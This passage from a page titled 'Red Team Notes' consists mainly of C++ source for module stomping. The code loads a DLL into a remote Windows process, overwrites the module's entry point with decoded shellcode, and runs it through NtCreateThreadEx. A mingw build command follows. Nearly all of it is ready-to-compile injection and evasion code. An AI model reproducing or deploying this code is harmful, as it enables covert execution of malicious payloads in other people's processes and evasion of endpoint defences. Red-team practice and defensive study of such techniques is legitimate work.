    status = NtWriteVirtualMemory(hProc, remoteBuffer, (PVOID)dllToStomp, pathLen, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: 0x" << std::hex << status << std::endl;
        NtFreeVirtualMemory(hProc, &remoteBuffer, &regionSize, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }

    // Get address of LoadLibraryA
    PVOID loadLibraryAddr = (PVOID)GetProcAddress(
        GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
    if (!loadLibraryAddr) {
        std::cerr << "Failed to get address of LoadLibraryA. Error: " << GetLastError() << std::endl;
        NtFreeVirtualMemory(hProc, &remoteBuffer, &regionSize, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }

    // Create a remote thread to load the DLL
    status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc, loadLibraryAddr, remoteBuffer, 0, 0, 0, 0, NULL);
    if (status != 0) {
        std::cerr << "NtCreateThreadEx failed with status: 0x" << std::hex << status << std::endl;
        NtFreeVirtualMemory(hProc, &remoteBuffer, &regionSize, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }

    // Wait for the thread to complete
    status = NtWaitForSingleObject(hThread, FALSE, NULL);
    if (status != 0) {
        std::cerr << "NtWaitForSingleObject failed with status: 0x" << std::hex << status << std::endl;
    }
    NtClose(hThread);
    
    std::cout << "DLL injection thread completed, checking if module was loaded..." << std::endl;
    
    // Extract just the filename from the path for comparison
    char filename[MAX_PATH] = {0};
    const char* lastSlash = strrchr(dllToStomp, '\\');
    if (lastSlash) {
        strcpy_s(filename, sizeof(filename), lastSlash + 1);
    } else {
        strcpy_s(filename, sizeof(filename), dllToStomp);
    }
    
    // Free the remote buffer as we don't need it anymore
    NtFreeVirtualMemory(hProc, &remoteBuffer, &regionSize, MEM_RELEASE);
    
    // Find the injected module in the remote process
    HMODULE remoteModule = NULL;
    HMODULE hModules[1024] = {0};
    DWORD cbNeeded = 0;
    char moduleName[MAX_PATH] = {0};
    
    if (EnumProcessModules(hProc, hModules, sizeof(hModules), &cbNeeded)) {
        for (unsigned int j = 0; j < (cbNeeded / sizeof(HMODULE)); j++) {
            if (GetModuleFileNameExA(hProc, hModules[j], moduleName, sizeof(moduleName))) {
                // Check if the module name contains our DLL name
                if (strstr(moduleName, filename) != nullptr) {
                    remoteModule = hModules[j];
                    std::cout << "Found module " << filename << " at address 0x" << std::hex << remoteModule << std::endl;
                    break;
                }
            }
        }
    }
    
    if (!remoteModule) {
        std::cerr << "Failed to find injected module in remote process" << std::endl;
        CloseHandle(hProc);
        return 1;
    }

    // Read the PE header from the remote process
    DWORD headerBufferSize = 0x1000;
    LPVOID headerBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
    if (!headerBuffer) {
        std::cerr << "Failed to allocate memory for PE header. Error: " << GetLastError() << std::endl;
        CloseHandle(hProc);
        return 1;
    }
    
    if (!ReadProcessMemory(hProc, remoteModule, headerBuffer, headerBufferSize, NULL)) {
        std::cerr << "Failed to read PE header from remote process. Error: " << GetLastError() << std::endl;
        HeapFree(GetProcessHeap(), 0, headerBuffer);
        CloseHandle(hProc);
        return 1;
    }
    
    // Parse the PE header to find the entry point
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headerBuffer;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headerBuffer + dosHeader->e_lfanew);
    DWORD_PTR entryPointOffset = ntHeader->OptionalHeader.AddressOfEntryPoint;
    LPVOID entryPoint = (LPVOID)((DWORD_PTR)remoteModule + entryPointOffset);
    
    std::cout << "Module entry point offset: 0x" << std::hex << entryPointOffset << std::endl;
    std::cout << "Module entry point address: 0x" << std::hex << entryPoint << std::endl;
    
    // Write shellcode to the module's entry point
    std::cout << "Writing shellcode to module entry point..." << std::endl;
    
    // Change memory protection to allow writing
    PVOID protectAddress = entryPoint;
    SIZE_T protectSize = length;
    status = NtProtectVirtualMemory(hProc, &protectAddress, &protectSize, PAGE_READWRITE, &oldProtect);
    if (status != 0) {
        std::cerr << "NtProtectVirtualMemory failed with status: 0x" << std::hex << status << std::endl;
        HeapFree(GetProcessHeap(), 0, headerBuffer);
        CloseHandle(hProc);
        return 1;
    }
    
    // Write shellcode to the module's entry point
    status = NtWriteVirtualMemory(hProc, entryPoint, decoded, length, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: 0x" << std::hex << status << std::endl;
        HeapFree(GetProcessHeap(), 0, headerBuffer);
        CloseHandle(hProc);
        return 1;
    }
    
    std::cout << "Successfully wrote " << std::dec << bytesWritten << " bytes to the module entry point" << std::endl;
    
    // Restore original memory protection
    status = NtProtectVirtualMemory(hProc, &protectAddress, &protectSize, PAGE_EXECUTE_READ, &oldProtect);
    if (status != 0) {
        std::cerr << "Failed to restore memory protection. Status: 0x" << std::hex << status << std::endl;
        HeapFree(GetProcessHeap(), 0, headerBuffer);
        CloseHandle(hProc);
        return 1;
    }
    
    // Free the header buffer
    HeapFree(GetProcessHeap(), 0, headerBuffer);
    
    // Execute the shellcode by creating a thread at the entry point
    std::cout << "Executing shellcode from module entry point..." << std::endl;
    
    // Use NtCreateThreadEx instead of CreateRemoteThread
    status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc, (PVOID)entryPoint, NULL, 0, 0, 0, 0, NULL);
    if (status != 0) {
        std::cerr << "NtCreateThreadEx failed with status: 0x" << std::hex << status << std::endl;
        CloseHandle(hProc);
        return 1;
    }
    
    // Wait for the thread to complete using NtWaitForSingleObject
    status = NtWaitForSingleObject(hThread, FALSE, NULL);
    if (status != 0) {
        std::cerr << "NtWaitForSingleObject failed with status: 0x" << std::hex << status << std::endl;
    }
    
    // Close the thread handle
    NtClose(hThread);
    CloseHandle(hProc);
    
    std::cout << "Execution completed in remote process" << std::endl;
    
    return 0;
}

int main()
{
    esc_main(NULL);
    return 0;
}

We can compile it from linux using following command

x86_64-w64-mingw32-g++ ModuleStomping.cpp -o ModuleStomping.exe -std=c++20 -static

Resources

Last updated 1 month ago

Was this helpful?

LogoModule Stomping for Shellcode Injection | Red Team Notes